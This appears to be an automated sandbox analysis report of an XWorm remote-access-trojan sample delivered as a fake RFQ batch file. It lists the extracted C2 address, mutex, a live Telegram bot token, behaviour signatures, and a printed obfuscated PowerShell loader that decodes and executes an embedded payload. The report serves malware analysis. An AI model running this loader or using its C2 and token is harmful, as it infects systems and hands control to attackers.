Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
29/10/2025, 11:11
General
- Target SPE-2025010-WA001310_pdf/RFQ2025010-WA001310 and Certificate_IMG.bat
- Size 122KB
- Sample251029-m98ncafr6y
- SHA256 84bc64c5f0b3e217896ebecb8b6d434d0c8fb4c33aa87125b3b8e2062aa283d5
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
XWorm V6.4
C2
-
178.16.55.129:6333
Mutex
-
o6MhfpGjJ5FpV4Wz
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
-
telegram
https://api.telegram.org/bot7409572452:AAGp8Ak5bqZu2IkEdggJaz2mnMYRTkTjv-U/sendMessage?chat_id=6870183115
aes.plain
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 4 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBbgjcrpkspwke2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFbgjcrpkspwkewAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVbgjcrpkspwkeABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBubgjcrpkspwkeAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUbgjcrpkspwkeAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAbgjcrpkspwkeA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AbgjcrpkspwkeDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AbgjcrpkspwkeKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAbgjcrpkspwkekAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADbgjcrpkspwkeEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcbgjcrpkspwkewB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwbgjcrpkspwkeAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4bgjcrpkspwkeAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQbgjcrpkspwkeAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAbgjcrpkspwkeF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAbgjcrpkspwkeKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABbgjcrpkspwkeyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACbgjcrpkspwkeAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIbgjcrpkspwkegB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdABybgjcrpkspwkeAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIbgjcrpkspwkeAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwbgjcrpkspwkeB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAbgjcrpkspwkeDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AbgjcrpkspwkeUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAbgjcrpkspwkepADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHbgjcrpkspwkecATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbbgjcrpkspwkeABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8bgjcrpkspwkeACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4bgjcrpkspwkeAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQbgjcrpkspwkeAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAbgjcrpkspwkeCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAbgjcrpkspwkeNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABbgjcrpkspwkesAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGbgjcrpkspwkewAYQBjAGUAIgBvAHIAYQBuAGcAZQBvAHIAYbgjcrpkspwkeQBuAGcAZQAiACwAIgAiAC0AcgBlAHAAbABhbgjcrpkspwkeAGMAZQAiAHcAagBkAHUAbwBwAG0AZQBhAGQbgjcrpkspwkeAdQBkAGEAbgBiACIALAAiACIAKQA7AGkAZgbgjcrpkspwkeAoACQAYQBwAHAAbABlACkAewB0AHIAeQB7AbgjcrpkspwkeGkAZQB4ACgAWwBUAGUAeAB0AC4ARQBuAGMAbgjcrpkspwkebwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBbgjcrpkspwkekAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFbgjcrpkspwkesAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbbgjcrpkspwkewBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnbgjcrpkspwkeACgAJABhAHAAcABsAGUAKQApACkAfQBjAGEbgjcrpkspwkeAdABjAGgAewB9AH0AfQAKACQAbwByAGEAbgbgjcrpkspwkeBnAGUAPQAnAEgANABzAEkAQQBBAEEAQQBBAbgjcrpkspwkeEEAQQBFAEEASgBWAFUANwAyAC8AYQBNAEIAbgjcrpkspwkeRAA5AFYANgB3AHEARQA4AG4ARQByAEsANwBbgjcrpkspwkeyADEAZwBuAEUAQgA2AEMAbABvAHoAOABaADbgjcrpkspwkeAASABZAGEAcgBTAGEAVABYAEIASQAzAHMAUbgjcrpkspwkegAxAHMASgB6AFMAZAArAE4ALwBuAEoARQBBbgjcrpkspwkeAHAAcgBkAFkAdABIADYATABrAC8ATgA2ADcbgjcrpkspwkeAOAA3AHUAegByAFUAYwBJAFoAaABGAHEASQbgjcrpkspwkeBRAHQANAAxAHIAZwBhAEgAUQAwAHYAMgB1AbgjcrpkspwkeGQASABUAFMAdQBBADMASQA5AE4AZQBLAGYAbgjcrpkspwkeYgB1AEwAMQBTAEkATgBXAHQAVgBTAEoAdgBbgjcrpkspwkepAFgARAB4AGwATwBpAGQAcABwADkAeQBWADbgjcrpkspwkeEAUABCAGsAWQB5AGkAegBMAFkAUwBJAGcAbbgjcrpkspwkegA3AGwAUgBIAHAALwBFAGIAbQBzAFEAaQBvbgjcrpkspwkeADQAcQA4ADEARwBlAFYASwBBADgATQBqAGMbgjcrpkspwkeARgBOAEoAZABZADYANwBNAGsAKwAwAEMAQwbgjcrpkspwkeBSAEoAdwBoAHkAMwBRAGQAMAAxAEcAbAAwAbgjcrpkspwkeEoAUgBJAFAAdABOAEQAZQBaACsARgB4ADQAbgjcrpkspwkeOABBAGEAOQBTADUATQBRAFoAQQBFAHMAVgBbgjcrpkspwkeEAHIAZAA1AHcASQBEADQAbgBtAFUAQgAyADbgjcrpkspwkekAbwBMAEYARgBMAGsAYwBGAHAAZAAzAFQAdbgjcrpkspwkewBYAE8AWQBVADgAcgBWAEUAVgAvAEEATQBwbgjcrpkspwkeAEQAYgBBAG4AaABTAHMAUQB4AFIAOAAyAFIbgjcrpkspwkeAOQBwAGEAZgBoADIANwBYAEIAdwBIAFYAOQbgjcrpkspwkeBHAG4AYQB6AHoAZQBDAG0ALwBCAHIATQA0AbgjcrpkspwkeHUAbABkAHcASABPADAAbgA0AGsAUgBjAGgAbgjcrpkspwkeZQB5AFEAZQBaADkANwBaAC8AMQB2AC8AZgBbgjcrpkspwkeQADgAUgBMAFIAcQBXADMAdgB0AFgALwA5AFbgjcrpkspwkeQAaQBvAE0ASABrAFEANgBaAHAAbgB2AFMANbgjcrpkspwkewA1ADAARQBQAHkATABpAEUANgAyACsAdAA5bgjcrpkspwkeAFoAeQBIAHIAagBsADEAbQBSAHAALwBWAHEbgjcrpkspwkeAOQA4AHYAZAB3AHQAYgBnAHkAVwBvAEoATwbgjcrpkspwkeBKAGEAKwBnAHoANQBoADQATABBAGwAWAB2AbgjcrpkspwkeHAAQwBzAFIAegBtAEoATwA3AEYAdwBvADQAbgjcrpkspwkeMABPADEAOQBGAHUASABUADMAOQA0AGoAUABbgjcrpkspwkenAGcAUQA1AGYASwB3AEUAZgBVAHAAVQBJADbgjcrpkspwkekAYQBLADEAVwArAEcAbgBRAHAAcQBMADkAVbgjcrpkspwkegBpAFIAaAAwAGYANgB5AGwAegBSAHUAUgB1bgjcrpkspwkeAEUAcgBRAHUAWQBmADcAaQBjADMAbwBPAHIbgjcrpkspwkeAMABkAEsAMgAvAGkAVQArAEIAeQBaAGsAYgbgjcrpkspwkeByAHcAQwB3AHUAegA2AEIAcgBQAEsAdwBuAbgjcrpkspwkeFcAWQBzADcAZQBaAEYAVgBqAHAAOQBJAEcAbgjcrpkspwkeOABEAHUANABLAGwAawBoAFEAeQBoAFMASgBbgjcrpkspwkeqADMALwBTAFoASgBtAHcAcQBxAHkATwBKAGbgjcrpkspwkewAdQBRAGoAZQAvAGwAagBKAGwARwBMAEcAUbgjcrpkspwkeABPAFIAagBJAEQAVABQAEsAeABzAEsAcwA2bgjcrpkspwkeAG4ANgAxAHMAMgBWAFUAbQAyAGcANgBXAHIbgjcrpkspwkeATgBlAEQAWQA5AEcAVwBrAHUAUQBtACsATwbgjcrpkspwkeBRAHUAbQAzAEsAeAAyAGQATABxAGMAMgAvAbgjcrpkspwkeEQANgBDAEMAZgArADIAdwA5AGwAVQBQAHcAbgjcrpkspwkeWQB5AGkAcAB1AEsAMABVAHMARwBtAGMAbQAbgjcrpkspwke1ADIAYwBDAGUATABaAGsAMgBtAHUAWQBYAEbgjcrpkspwkeoAMwA5ADgASgB3AGoANQBKAGsAMQBxAHEARbgjcrpkspwkeQA4AEIASABYAE0AaAA4AEkAeQB2AFgARwBJbgjcrpkspwkeAHUANwB6AFQARQBSAGcAOQBwAHoARwA4AFcbgjcrpkspwkeAcQBtAHEAaQBLAGEAQwB5AHMAVQBTAHUATwbgjcrpkspwkeByAFAAaAA2AFMAdQBYAG4AZgBVAE8ANgBKAbgjcrpkspwkeCsAWgBqAHEARwBJAHIAcgBxAHIAeQBnAG0AbgjcrpkspwkebABZAFcAMABqAGwAZgBWADIAbQBzADcAOQBbgjcrpkspwkeHADQAOABIAGcASQB4AEcAdgBIADgAUgBnAGbgjcrpkspwkeUAdABGADEAaABIAFQAeABLAFkAcQByAHQAebgjcrpkspwkeQBSAEgAUABxAEIAUwBjAEEAUwA4AE8AbQBXbgjcrpkspwkeAG4AeABHAGUAWABnAE4ATQAyADQAQQAzAEYbgjcrpkspwkeARABaAEYAcwBpAHoAbAB3AFgAVQBZADQAcQbgjcrpkspwkeBkAFEAZQBWAGgAbABCAC8AdABZAFIASABtAbgjcrpkspwkeGsAaQB0AGIAcQBnAE8ANwBWAHEAagBnAFcAbgjcrpkspwkecQBPAFUAdwBCAEsAVgBEAFgAUAB6AEoAKwBbgjcrpkspwkesAHIAUgBVADQAbgBhAHIAcQArAEgANgBxAGbgjcrpkspwkeYAQwBtAGUAcQBjAGsAVgBsAFgAKwBMAGgAUbgjcrpkspwkewBWADQAYgBJAHkAdQBRAEkAVwBQAEoAWAAxbgjcrpkspwkeAFoAYgBlADMAVwBuAEcAMQByAHoAbQBaACsbgjcrpkspwkeAMABDAHAAUABCAEwASwBMACsAeABiAFoAawbgjcrpkspwkeA3AC8AYwBFADYAWABpAFoAUABmAE8AYwBRAbgjcrpkspwkeHcAMwBGAFcANwA0AHYAOQBTAFAASgBiAFcAbgjcrpkspwkeWQBFAFYAVABsAFIAbQBXAEgAbABwAEYAQwBbgjcrpkspwkeFAGQAbgAxAHAANABxAFIAWABYAHYAMwAzAHbgjcrpkspwkeIAagBRAC8AQQBOADEAMgBTAEcAbwBUAGcAWbgjcrpkspwkeQBBAEEAQQA9AD0AJwA7ACQAbQBhAG4AZwBvbgjcrpkspwkeAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYbgjcrpkspwkeAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQbgjcrpkspwkeBuAGcAKAAkAG8AcgBhAG4AZwBlACkAOwAkAbgjcrpkspwkeHAAaQBuAGUAYQBwAHAAbABlAD0ATgBlAHcAbgjcrpkspwkeLQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBbgjcrpkspwketAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAGbgjcrpkspwke0AYQBuAGcAbwApADsAaQBlAHgAKABOAGUAdbgjcrpkspwkewAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0bgjcrpkspwkeAHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUbgjcrpkspwkeAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwbgjcrpkspwkeBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwBaAbgjcrpkspwkeGkAcABTAHQAcgBlAGEAbQAoACQAcABpAG4AbgjcrpkspwkeZQBhAHAAcABsAGUALABbAEkATwAuAEMAbwBbgjcrpkspwketAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHbgjcrpkspwkeAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AObgjcrpkspwkegA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApbgjcrpkspwkeACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkbgjcrpkspwkeACgA='.Replace('bgjcrpkspwke','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_q4o34ytk.h5j.ps1
XClient.exe
aoc.bat
memory/3792-16-0x0000022EB6640000-0x0000022EB6650000-memory.dmp
memory/3792-3-0x0000022E9CD30000-0x0000022E9CD52000-memory.dmp
memory/3792-1-0x0000022EB6670000-0x0000022EB6680000-memory.dmp
memory/3792-12-0x0000022EB6670000-0x0000022EB6680000-memory.dmp
memory/3792-13-0x0000022E9CDB0000-0x0000022E9CDB8000-memory.dmp
memory/3792-14-0x0000022EB6630000-0x0000022EB663E000-memory.dmp
memory/3792-10-0x0000022EB6670000-0x0000022EB6680000-memory.dmp
memory/3792-25-0x0000022EB6670000-0x0000022EB6680000-memory.dmp
memory/3792-37-0x0000022EB6DD0000-0x0000022EB6DDE000-memory.dmp
memory/3792-40-0x0000022EB6DF0000-0x0000022EB6F98000-memory.dmp
memory/3792-2-0x0000022EB6670000-0x0000022EB6680000-memory.dmp
memory/3792-22-0x0000022EB6670000-0x0000022EB6680000-memory.dmp
memory/3792-39-0x0000022EB6DE0000-0x0000022EB6DEE000-memory.dmp
memory/3792-33-0x0000022EB6670000-0x0000022EB6680000-memory.dmp
memory/3792-34-0x0000022EB6670000-0x0000022EB6680000-memory.dmp
memory/4980-23-0x0000012725D30000-0x0000012725D40000-memory.dmp
memory/4980-35-0x0000012725D30000-0x0000012725D40000-memory.dmp
memory/4980-36-0x0000012725D30000-0x0000012725D40000-memory.dmp
memory/4980-32-0x00000127260D0000-0x0000012726116000-memory.dmp
memory/4980-24-0x0000012725D30000-0x0000012725D40000-memory.dmp